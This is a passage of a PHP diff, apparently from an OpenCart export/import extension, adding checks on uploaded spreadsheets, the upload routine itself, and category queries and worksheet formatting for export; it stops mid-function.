+ $msg = str_replace( '%1', $worksheet_name, $this->language->get( 'error_missing_filter_name' ) );
+ $this->log->write( $msg );
+ $has_missing_filters = true;
+ }
+ $ok = false;
+ continue;
+ }
+ if (!isset($filter_groups[$filter_group_name][$filter_name])) {
+ $msg = $this->language->get( 'error_invalid_filter_group_name_filter_name' );
+ $msg = str_replace( '%1', $worksheet_name, $msg );
+ $msg = str_replace( '%2', $filter_group_name, $msg );
+ $msg = str_replace( '%3', $filter_name, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ continue;
+ }
+ }
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function isInteger($input){
+ return(ctype_digit(strval($input)));
+ }
+
+
+ protected function validateStoreIds( &$reader ) {
+ $worksheets = array( 'Customers', 'CategorySEOKeywords', 'ProductSEOKeywords' );
+ $ok = true;
+ $store_ids = $this->getAvailableStoreIds();
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data==null) {
+ continue;
+ }
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = ($worksheet=='Customers') ? 3 : 2;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ // Invalid store_id='...' used in worksheet '...'
+ $msg = $this->language->get( 'error_invalid_store_id' );
+ $msg = str_replace( '%1', $store_id, $msg );
+ $msg = str_replace( '%2', $worksheet, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ } else if (!in_array( (int)$store_id, $store_ids )) {
+ // Invalid store_id='...' used in worksheet '...'
+ $msg = $this->language->get( 'error_invalid_store_id' );
+ $msg = str_replace( '%1', $store_id, $msg );
+ $msg = str_replace( '%2', $worksheet, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ return $ok;
+ }
+
+
+ protected function validateIncrementalOnly( &$reader, $incremental ) {
+ // certain worksheets can only be imported in incremental mode for the time being
+ $ok = true;
+ $worksheets = array( 'Customers', 'Addresses' );
+ foreach ($worksheets as $worksheet) {
+ $data = $reader->getSheetByName( $worksheet );
+ if ($data) {
+ if (!$incremental) {
+ $msg = $this->language->get( 'error_incremental_only' );
+ $msg = str_replace( '%1', $worksheet, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ return $ok;
+ }
+
+
+ protected function validateCategorySEOUrls( &$reader, &$languages ) {
+ $ok = true;
+
+ // all category_id/store_id combinations must be unique
+ $data = $reader->getSheetByName( 'CategorySEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ $category_id_store_id = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $category_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($category_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if (!isset($category_id_store_id[$category_id])) {
+ $category_id_store_id[$category_id] = array();
+ }
+ if (!isset($category_id_store_id[$category_id][$store_id])) {
+ $category_id_store_id[$category_id][$store_id] = 0;
+ }
+ $category_id_store_id[$category_id][$store_id] += 1;
+ }
+ foreach ($category_id_store_id as $category_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ if ($val2 > 1) {
+ $msg = $this->language->get( 'error_multiple_category_id_store_id' );
+ $msg = str_replace( '%1', $category_id, $msg );
+ $msg = str_replace( '%2', $store_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ if (!$ok) {
+ return false;
+ }
+
+ // all keywords for each store_id must unique
+ $store_ids = $this->getAvailableStoreIds();
+ foreach ($store_ids as $next_store_id) {
+ $keyword_counts = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $category_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($category_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if ($store_id != $next_store_id) {
+ continue;
+ }
+ foreach ($languages as $language) {
+ $j += 1;
+ $keyword = trim( $this->getCell($data,$i,$j,'') );
+ if ($keyword != '') {
+ if (!isset($keyword_counts[$keyword])) {
+ $keyword_counts[$keyword] = 0;
+ }
+ $keyword_counts[$keyword] += 1;
+ }
+ }
+ }
+ foreach ($keyword_counts as $keyword=>$count) {
+ if ($count > 1) {
+ $msg = $this->language->get( 'error_unique_keyword' );
+ $msg = str_replace( '%1', $keyword, $msg );
+ $msg = str_replace( '%2', $next_store_id, $msg );
+ $msg = str_replace( '%3', 'CategorySEOKeywords', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateProductSEOUrls( &$reader, &$languages ) {
+ $ok = true;
+
+ // all product_id/store_id combinations must be unique
+ $data = $reader->getSheetByName( 'ProductSEOKeywords' );
+ if ($data==null) {
+ return true;
+ }
+ $product_id_store_id = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $product_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($product_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if (!isset($product_id_store_id[$product_id])) {
+ $product_id_store_id[$product_id] = array();
+ }
+ if (!isset($product_id_store_id[$product_id][$store_id])) {
+ $product_id_store_id[$product_id][$store_id] = 0;
+ }
+ $product_id_store_id[$product_id][$store_id] += 1;
+ }
+ foreach ($product_id_store_id as $product_id=>$val1) {
+ foreach ($val1 as $store_id=>$val2) {
+ if ($val2 > 1) {
+ $msg = $this->language->get( 'error_multiple_product_id_store_id' );
+ $msg = str_replace( '%1', $product_id, $msg );
+ $msg = str_replace( '%2', $store_id, $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+ if (!$ok) {
+ return false;
+ }
+
+ // all keywords for each store_id must unique
+ $store_ids = $this->getAvailableStoreIds();
+ foreach ($store_ids as $next_store_id) {
+ $keyword_counts = array();
+ $k = $data->getHighestRow();
+ for ($i=1; $i<$k; $i+=1) {
+ $j = 1;
+ $product_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($product_id)) {
+ continue;
+ }
+ $j += 1;
+ $store_id = $this->getCell($data,$i,$j);
+ if (!$this->isInteger($store_id)) {
+ continue;
+ }
+ if ($store_id != $next_store_id) {
+ continue;
+ }
+ foreach ($languages as $language) {
+ $j += 1;
+ $keyword = trim( $this->getCell($data,$i,$j,'') );
+ if ($keyword != '') {
+ if (!isset($keyword_counts[$keyword])) {
+ $keyword_counts[$keyword] = 0;
+ }
+ $keyword_counts[$keyword] += 1;
+ }
+ }
+ }
+ foreach ($keyword_counts as $keyword=>$count) {
+ if ($count > 1) {
+ $msg = $this->language->get( 'error_unique_keyword' );
+ $msg = str_replace( '%1', $keyword, $msg );
+ $msg = str_replace( '%2', $next_store_id, $msg );
+ $msg = str_replace( '%3', 'ProductSEOKeywords', $msg );
+ $this->log->write( $msg );
+ $ok = false;
+ }
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function validateWorksheetNames( &$reader ) {
+ $allowed_worksheets = array(
+ 'Categories',
+ 'CategoryFilters',
+ 'CategorySEOKeywords',
+ 'Products',
+ 'AdditionalImages',
+ 'Specials',
+ 'Discounts',
+ 'Rewards',
+ 'ProductOptions',
+ 'ProductOptionValues',
+ 'ProductAttributes',
+ 'ProductFilters',
+ 'ProductSEOKeywords',
+ 'Options',
+ 'OptionValues',
+ 'AttributeGroups',
+ 'Attributes',
+ 'FilterGroups',
+ 'Filters',
+ 'Customers',
+ 'Addresses'
+ );
+ $all_worksheets_ignored = true;
+ $worksheets = $reader->getSheetNames();
+ foreach ($worksheets as $worksheet) {
+ if (in_array($worksheet,$allowed_worksheets)) {
+ $all_worksheets_ignored = false;
+ break;
+ }
+ }
+ if ($all_worksheets_ignored) {
+ return false;
+ }
+ return true;
+ }
+
+
+ protected function validateUpload( &$reader )
+ {
+ $ok = true;
+ $languages = $this->getLanguages();
+
+ // make sure at least one of worksheet names is valid
+ if (!$this->validateWorksheetNames( $reader )) {
+ $this->log->write( $this->language->get( 'error_worksheets' ) );
+ $ok = false;
+ }
+
+ // worksheets must have correct heading rows
+ if (!$this->validateCategories( $reader )) {
+ $this->log->write( $this->language->get('error_categories_header') );
+ $ok = false;
+ }
+ if (!$this->validateCategoryFilters( $reader )) {
+ $this->log->write( $this->language->get('error_category_filters_header') );
+ $ok = false;
+ }
+ if (!$this->validateCategorySEOKeywords( $reader )) {
+ $this->log->write( $this->language->get('error_category_seo_keywords_header') );
+ $ok = false;
+ }
+ if (!$this->validateProducts( $reader )) {
+ $this->log->write( $this->language->get('error_products_header') );
+ $ok = false;
+ }
+ if (!$this->validateAdditionalImages( $reader )) {
+ $this->log->write( $this->language->get('error_additional_images_header') );
+ $ok = false;
+ }
+ if (!$this->validateSpecials( $reader )) {
+ $this->log->write( $this->language->get('error_specials_header') );
+ $ok = false;
+ }
+ if (!$this->validateDiscounts( $reader )) {
+ $this->log->write( $this->language->get('error_discounts_header') );
+ $ok = false;
+ }
+ if (!$this->validateRewards( $reader )) {
+ $this->log->write( $this->language->get('error_rewards_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductOptions( $reader )) {
+ $this->log->write( $this->language->get('error_product_options_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductOptionValues( $reader )) {
+ $this->log->write( $this->language->get('error_product_option_values_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductAttributes( $reader )) {
+ $this->log->write( $this->language->get('error_product_attributes_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductFilters( $reader )) {
+ $this->log->write( $this->language->get('error_product_filters_header') );
+ $ok = false;
+ }
+ if (!$this->validateProductSEOKeywords( $reader )) {
+ $this->log->write( $this->language->get('error_product_seo_keywords_header') );
+ $ok = false;
+ }
+ if (!$this->validateOptions( $reader )) {
+ $this->log->write( $this->language->get('error_options_header') );
+ $ok = false;
+ }
+ if (!$this->validateOptionValues( $reader )) {
+ $this->log->write( $this->language->get('error_option_values_header') );
+ $ok = false;
+ }
+ if (!$this->validateAttributeGroups( $reader )) {
+ $this->log->write( $this->language->get('error_attribute_groups_header') );
+ $ok = false;
+ }
+ if (!$this->validateAttributes( $reader )) {
+ $this->log->write( $this->language->get('error_attributes_header') );
+ $ok = false;
+ }
+ if (!$this->validateFilterGroups( $reader )) {
+ $this->log->write( $this->language->get('error_filter_groups_header') );
+ $ok = false;
+ }
+ if (!$this->validateFilters( $reader )) {
+ $this->log->write( $this->language->get('error_filters_header') );
+ $ok = false;
+ }
+ if (!$this->validateCustomers( $reader )) {
+ $this->log->write( $this->language->get('error_customers_header') );
+ $ok = false;
+ }
+ if (!$this->validateAddresses( $reader )) {
+ $this->log->write( $this->language->get('error_addresses_header') );
+ $ok = false;
+ }
+
+ // certain worksheets rely on the existence of other worksheets
+ $names = $reader->getSheetNames();
+ $exist_categories = false;
+ $exist_category_filters = false;
+ $exist_category_seo_keywords = false;
+ $exist_product_options = false;
+ $exist_product_option_values = false;
+ $exist_products = false;
+ $exist_additional_images = false;
+ $exist_specials = false;
+ $exist_discounts = false;
+ $exist_rewards = false;
+ $exist_product_attributes = false;
+ $exist_product_filters = false;
+ $exist_product_seo_keywords = false;
+ $exist_attribute_groups = false;
+ $exist_filters = false;
+ $exist_filter_groups = false;
+ $exist_attributes = false;
+ $exist_options = false;
+ $exist_option_values = false;
+ $exist_customers = false;
+ $exist_addresses = false;
+ foreach ($names as $name) {
+ if ($name=='Categories') {
+ $exist_categories = true;
+ continue;
+ }
+ if ($name=='CategoryFilters') {
+ if (!$exist_categories) {
+ // Missing Categories worksheet, or Categories worksheet not listed before CategoryFilters
+ $this->log->write( $this->language->get('error_category_filters') );
+ $ok = false;
+ }
+ $exist_category_filters = true;
+ continue;
+ }
+ if ($name=='CategorySEOKeywords') {
+ if (!$exist_categories) {
+ // Missing Categories worksheet, or Categories worksheet not listed before CategorySEOKeywords
+ $this->log->write( $this->language->get('error_category_seo_keywords') );
+ $ok = false;
+ }
+ $exist_category_seo_keywords = true;
+ continue;
+ }
+ if ($name=='Products') {
+ $exist_products = true;
+ continue;
+ }
+ if ($name=='ProductOptions') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductOptions
+ $this->log->write( $this->language->get('error_product_options') );
+ $ok = false;
+ }
+ $exist_product_options = true;
+ continue;
+ }
+ if ($name=='ProductOptionValues') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductOptionValues
+ $this->log->write( $this->language->get('error_product_option_values') );
+ $ok = false;
+ }
+ if (!$exist_product_options) {
+ // Missing ProductOptions worksheet, or ProductOptions worksheet not listed before ProductOptionValues
+ $this->log->write( $this->language->get('error_product_option_values_2') );
+ $ok = false;
+ }
+ $exist_product_option_values = true;
+ continue;
+ }
+ if ($name=='AdditionalImages') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before AdditionalImages
+ $this->log->write( $this->language->get('error_additional_images') );
+ $ok = false;
+ }
+ $exist_additional_images = true;
+ continue;
+ }
+ if ($name=='Specials') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before Specials
+ $this->log->write( $this->language->get('error_specials') );
+ $ok = false;
+ }
+ $exist_specials = true;
+ continue;
+ }
+ if ($name=='Discounts') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before Discounts
+ $this->log->write( $this->language->get('error_discounts') );
+ $ok = false;
+ }
+ $exist_discounts = true;
+ continue;
+ }
+ if ($name=='Rewards') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before Rewards
+ $this->log->write( $this->language->get('error_rewards') );
+ $ok = false;
+ }
+ $exist_rewards = true;
+ continue;
+ }
+ if ($name=='ProductAttributes') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductAttributes
+ $this->log->write( $this->language->get('error_product_attributes') );
+ $ok = false;
+ }
+ $exist_product_attributes = true;
+ continue;
+ }
+ if ($name=='AttributeGroups') {
+ $exist_attribute_groups = true;
+ continue;
+ }
+ if ($name=='Attributes') {
+ if (!$exist_attribute_groups) {
+ // Missing AttributeGroups worksheet, or AttributeGroups worksheet not listed before Attributes
+ $this->log->write( $this->language->get('error_attributes') );
+ $ok = false;
+ }
+ $exist_attributes = true;
+ continue;
+ }
+ if ($name=='ProductFilters') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductFilters
+ $this->log->write( $this->language->get('error_product_filters') );
+ $ok = false;
+ }
+ $exist_product_filters = true;
+ continue;
+ }
+ if ($name=='ProductSEOKeywords') {
+ if (!$exist_products) {
+ // Missing Products worksheet, or Products worksheet not listed before ProductSEOKeywords
+ $this->log->write( $this->language->get('error_product_seo_keywords') );
+ $ok = false;
+ }
+ $exist_product_seo_keywords = true;
+ continue;
+ }
+ if ($name=='FilterGroups') {
+ $exist_filter_groups = true;
+ continue;
+ }
+ if ($name=='Filters') {
+ if (!$exist_filter_groups) {
+ // Missing FilterGroups worksheet, or FilterGroups worksheet not listed before Filters
+ $this->log->write( $this->language->get('error_filters') );
+ $ok = false;
+ }
+ $exist_filters = true;
+ continue;
+ }
+ if ($name=='Options') {
+ $exist_options = true;
+ continue;
+ }
+ if ($name=='OptionValues') {
+ if (!$exist_options) {
+ // Missing Options worksheet, or Options worksheet not listed before OptionValues
+ $this->log->write( $this->language->get('error_option_values') );
+ $ok = false;
+ }
+ $exist_option_values = true;
+ continue;
+ }
+ if ($name=='Customers') {
+ $exist_customers = true;
+ continue;
+ }
+ if ($name=='Addresses') {
+ if (!$exist_customers) {
+ // Missing Cutomers worksheet, or Customers worksheet not listed before Addresses
+ $this->log->write( $this->language->get('error_addresses') );
+ $ok = false;
+ }
+ $exist_addresses = true;
+ continue;
+ }
+ }
+ if ($exist_product_options) {
+ if (!$exist_product_option_values) {
+ // ProductOptionValues worksheet also expected after a ProductOptions worksheet
+ $this->log->write( $this->language->get('error_product_option_values_3') );
+ $ok = false;
+ }
+ }
+ if ($exist_attribute_groups) {
+ if (!$exist_attributes) {
+ // Attributes worksheet also expected after an AttributeGroups worksheet
+ $this->log->write( $this->language->get('error_attributes_2') );
+ $ok = false;
+ }
+ }
+ if ($exist_filter_groups) {
+ if (!$exist_filters) {
+ // Filters worksheet also expected after an FilterGroups worksheet
+ $this->log->write( $this->language->get('error_filters_2') );
+ $ok = false;
+ }
+ }
+ if ($exist_options) {
+ if (!$exist_option_values) {
+ // OptionValues worksheet also expected after an Options worksheet
+ $this->log->write( $this->language->get('error_option_values_2') );
+ $ok = false;
+ }
+ }
+ if ($exist_customers) {
+ if (!$exist_addresses) {
+ // Addresses worksheet also expected after Customers worksheet
+ $this->log->write( $this->language->get('error_addresses_2') );
+ $ok = false;
+ }
+ }
+
+ if (!$ok) {
+ return false;
+ }
+
+ if (!$this->validateProductIdColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateCategoryIdColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateCustomerIdColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateCustomerGroupColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateOptionColumns( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateAttributeColumns( $reader )) {
+ $ok = false;
+ }
+
+ if ($this->existFilter()) {
+ if (!$this->validateFilterColumns( $reader )) {
+ $ok = false;
+ }
+ }
+
+ if (!$this->validateStoreIds( $reader )) {
+ $ok = false;
+ }
+
+ if (!$this->validateAddressCountriesAndZones( $reader )) {
+ $ok = false;
+ }
+
+ if ($this->use_table_seo_url) {
+ if (!$this->validateCategorySEOUrls( $reader, $languages )) {
+ $ok = false;
+ }
+
+ if (!$this->validateProductSEOUrls( $reader, $languages )) {
+ $ok = false;
+ }
+ }
+
+ return $ok;
+ }
+
+
+ protected function clearCache() {
+ $this->cache->delete('*');
+ }
+
+
+ public function upload( $filename, $incremental=false ) {
+ // we use our own error handler
+ global $registry;
+ $registry = $this->registry;
+ set_error_handler('error_handler_for_export_import',E_ALL);
+ register_shutdown_function('fatal_error_shutdown_handler_for_export_import');
+
+ try {
+ if (version_compare(phpversion(), '7.2.', '<')) {
+ // php version isn't high enough
+ throw new Exception( $this->language->get( 'error_php_version' ) );
+ }
+
+ $this->session->data['export_import_nochange'] = 1;
+
+ // enable auto_load from system/library/export_import
+ require( DIR_SYSTEM.'library/export_import/vendor/autoload.php' );
+
+ // Use the PhoOffice/PhpSpreadsheet package from https://github.com/PHPOffice/PhpSpreadsheet
+ $workbook = new PhpOffice\PhpSpreadsheet\Spreadsheet();
+
+ // parse uploaded spreadsheet file
+ $inputFileType = PhpOffice\PhpSpreadsheet\IOFactory::identify($filename);
+ $objReader = PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
+ $objReader->setReadDataOnly(true);
+ $reader = $objReader->load($filename);
+
+ // read the various worksheets and load them to the database
+ if (!$this->validateIncrementalOnly( $reader, $incremental )) {
+ return false;
+ }
+ if (!$this->validateUpload( $reader )) {
+ return false;
+ }
+ $this->clearCache();
+ $this->session->data['export_import_nochange'] = 0;
+ $available_product_ids = array();
+ $available_category_ids = array();
+ $available_customer_ids = array();
+ $this->uploadCategories( $reader, $incremental, $available_category_ids );
+ $this->uploadCategoryFilters( $reader, $incremental, $available_category_ids );
+ $this->uploadCategorySEOKeywords( $reader, $incremental, $available_category_ids );
+ $this->uploadProducts( $reader, $incremental, $available_product_ids );
+ $this->uploadAdditionalImages( $reader, $incremental, $available_product_ids );
+ $this->uploadSpecials( $reader, $incremental, $available_product_ids );
+ $this->uploadDiscounts( $reader, $incremental, $available_product_ids );
+ $this->uploadRewards( $reader, $incremental, $available_product_ids );
+ $this->uploadProductOptions( $reader, $incremental, $available_product_ids );
+ $this->uploadProductOptionValues( $reader, $incremental, $available_product_ids );
+ $this->uploadProductAttributes( $reader, $incremental, $available_product_ids );
+ $this->uploadProductFilters( $reader, $incremental, $available_product_ids );
+ $this->uploadProductSEOKeywords( $reader, $incremental, $available_product_ids );
+ $this->uploadOptions( $reader, $incremental );
+ $this->uploadOptionValues( $reader, $incremental );
+ $this->uploadAttributeGroups( $reader, $incremental );
+ $this->uploadAttributes( $reader, $incremental );
+ $this->uploadFilterGroups( $reader, $incremental );
+ $this->uploadFilters( $reader, $incremental );
+ $this->uploadCustomers( $reader, $incremental, $available_customer_ids );
+ $this->uploadAddresses( $reader, $incremental, $available_customer_ids );
+ return true;
+ } catch (Exception $e) {
+ $errstr = $e->getMessage();
+ $errline = $e->getLine();
+ $errfile = $e->getFile();
+ $errno = $e->getCode();
+ $this->session->data['export_import_error'] = array( 'errstr'=>$errstr, 'errno'=>$errno, 'errfile'=>$errfile, 'errline'=>$errline );
+ if ($this->config->get('config_error_log')) {
+ $this->log->write('PHP ' . get_class($e) . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
+ }
+ return false;
+ }
+ }
+
+
+
+ protected function getStoreIdsForCategories() {
+ $sql = "SELECT category_id, store_id FROM `".DB_PREFIX."category_to_store` cs;";
+ $store_ids = array();
+ $result = $this->db->query( $sql );
+ foreach ($result->rows as $row) {
+ $categoryId = $row['category_id'];
+ $store_id = $row['store_id'];
+ if (!isset($store_ids[$categoryId])) {
+ $store_ids[$categoryId] = array();
+ }
+ if (!in_array($store_id,$store_ids[$categoryId])) {
+ $store_ids[$categoryId][] = $store_id;
+ }
+ }
+ return $store_ids;
+ }
+
+
+ protected function getLayoutsForCategories() {
+ $sql = "SELECT cl.*, l.name FROM `".DB_PREFIX."category_to_layout` cl ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."layout` l ON cl.layout_id = l.layout_id ";
+ $sql .= "ORDER BY cl.category_id, cl.store_id;";
+ $result = $this->db->query( $sql );
+ $layouts = array();
+ foreach ($result->rows as $row) {
+ $categoryId = $row['category_id'];
+ $store_id = $row['store_id'];
+ $name = $row['name'];
+ if (!isset($layouts[$categoryId])) {
+ $layouts[$categoryId] = array();
+ }
+ $layouts[$categoryId][$store_id] = $name;
+ }
+ return $layouts;
+ }
+
+
+ protected function setColumnStyles( &$worksheet, &$styles, $min_row, $max_row ) {
+ if ($max_row < $min_row) {
+ return;
+ }
+ foreach ($styles as $col=>$style) {
+ $from = PhpOffice\PhpSpreadsheet\Cell\Coordinate::stringFromColumnIndex($col).$min_row;
+ $to = PhpOffice\PhpSpreadsheet\Cell\Coordinate::stringFromColumnIndex($col).$max_row;
+ $range = $from.':'.$to;
+ $worksheet->getStyle( $range )->applyFromArray( $style, false );
+ }
+ }
+
+
+ protected function setCellRow( $worksheet, $row/*1-based*/, $data, &$default_style=null, &$styles=null ) {
+ if (!empty($default_style)) {
+ $worksheet->getStyle( "$row:$row" )->applyFromArray( $default_style, false );
+ }
+ if (!empty($styles)) {
+ foreach ($styles as $col=>$style) {
+ $worksheet->getStyleByColumnAndRow($col,$row)->applyFromArray($style,false);
+ }
+ }
+ $worksheet->fromArray( $data, null, 'A'.$row, true );
+ }
+
+
+ protected function setCell( &$worksheet, $row/*1-based*/, $col/*1-based*/, $val, &$style=null ) {
+ $worksheet->setCellValueByColumnAndRow( $col, $row, $val );
+ if (!empty($style)) {
+ $worksheet->getStyleByColumnAndRow($col,$row)->applyFromArray( $style, false );
+ }
+ }
+
+
+ protected function getCategoryDescriptions( &$languages, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ // query the category_description table for each language
+ $category_descriptions = array();
+ foreach ($languages as $language) {
+ $language_id = $language['language_id'];
+ $language_code = $language['code'];
+ $sql = "SELECT c.category_id, cd.* ";
+ $sql .= "FROM `".DB_PREFIX."category` c ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."category_description` cd ON cd.category_id=c.category_id AND cd.language_id='".(int)$language_id."' ";
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE c.category_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "GROUP BY c.`category_id` ";
+ $sql .= "ORDER BY c.`category_id` ASC ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $query = $this->db->query( $sql );
+ $category_descriptions[$language_code] = $query->rows;
+ }
+ return $category_descriptions;
+ }
+
+
+ protected function getCategories( &$languages, $exist_meta_title, $exist_seo_url_table, $offset=null, $rows=null, $min_id=null, $max_id=null ) {
+ if ($exist_seo_url_table) {
+ $sql = "SELECT c.* FROM `".DB_PREFIX."category` c ";
+ } else {
+ $sql = "SELECT c.*, ua.keyword FROM `".DB_PREFIX."category` c ";
+ $sql .= "LEFT JOIN `".DB_PREFIX."url_alias` ua ON ua.query=CONCAT('category_id=',c.category_id) ";
+ }
+ if (isset($min_id) && isset($max_id)) {
+ $sql .= "WHERE c.category_id BETWEEN $min_id AND $max_id ";
+ }
+ $sql .= "GROUP BY c.`category_id` ";
+ $sql .= "ORDER BY c.`category_id` ASC ";
+ if (isset($offset) && isset($rows)) {
+ $sql .= "LIMIT $offset,$rows; ";
+ } else {
+ $sql .= "; ";
+ }
+ $results = $this->db->query( $sql );
+ $category_descriptions = $this->getCategoryDescriptions( $languages, $offset, $rows, $min_id, $max_id );
+ foreach ($languages as $language) {
+ $language_code = $language['code'];
+ foreach ($results->rows as $key=>$row) {
+ if (isset($category_descriptions[$language_code][$key])) {
+ $results->rows[$key]['name'][$language_code] = $category_descriptions[$language_code][$key]['name'];
+ $results->rows[$key]['description'][$language_code] = $category_descriptions[$language_code][$key]['description'];
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = $category_descriptions[$language_code][$key]['meta_title'];
+ }
+ $results->rows[$key]['meta_description'][$language_code] = $category_descriptions[$language_code][$key]['meta_description'];
+ $results->rows[$key]['meta_keyword'][$language_code] = $category_descriptions[$language_code][$key]['meta_keyword'];
+ } else {
+ $results->rows[$key]['name'][$language_code] = '';
+ $results->rows[$key]['description'][$language_code] = '';
+ if ($exist_meta_title) {
+ $results->rows[$key]['meta_title'][$language_code] = '';
+ }
+ $results->rows[$key]['meta_description'][$language_code] = '';
+ $results->rows[$key]['meta_keyword'][$language_code] = '';
+ }
+ }
+ }
+ return $results->rows;
+ }
+
+
+ protected function populateCategoriesWorksheet( &$worksheet, &$languages, &$box_format, &$text_format, $offset=null, $rows=null, &$min_id=null, &$max_id=null ) {
+ // Opencart versions from 2.0 onwards also have category_description.meta_title
+ $sql = "SHOW COLUMNS FROM `".DB_PREFIX."category_description` LIKE 'meta_title'";
+ $query = $this->db->query( $sql );
+ $exist_meta_title = ($query->num_rows > 0) ? true : false;
+
+ // Opencart versions from 3.0 onwards use the seo_url DB table
+ $exist_seo_url_table = $this->use_table_seo_url;
+
+ // Set the column widths
+ $j = 1;
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('category_id')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('parent_id')+1);
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('name')+4,30)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('top'),5)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('columns')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(strlen('sort_order')+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('image_name'),12)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_added'),19)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('date_modified'),19)+1);
+ if (!$exist_seo_url_table) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('seo_keyword'),16)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('description'),32)+1);
+ }
+ if ($exist_meta_title) {
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_title'),20)+1);
+ }
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_description'),32)+1);
+ }
+ foreach ($languages as $language) {
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('meta_keywords'),32)+1);
+ }
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('store_ids'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('layout'),16)+1);
+ $worksheet->getColumnDimensionByColumn($j++)->setWidth(max(strlen('status'),5)+1);
+
+ // The heading row and column styles
+ $styles = array();
+ $data = array();
+ $i = 1;
+ $j = 1;
+ $data[$j++] = 'category_id';
+ $data[$j++] = 'parent_id';
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'name('.$language['code'].')';
+ }
+ $data[$j++] = 'top';
+ $data[$j++] = 'columns';
+ $data[$j++] = 'sort_order';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'image_name';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'date_added';
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'date_modified';
+ if (!$exist_seo_url_table) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'seo_keyword';
+ }
+ foreach ($languages as $language) {
+ $styles[$j] = &$text_format;
+ $data[$j++] = 'description('.$language['code'].')';
+ }
+ if ($exist_meta_title) {
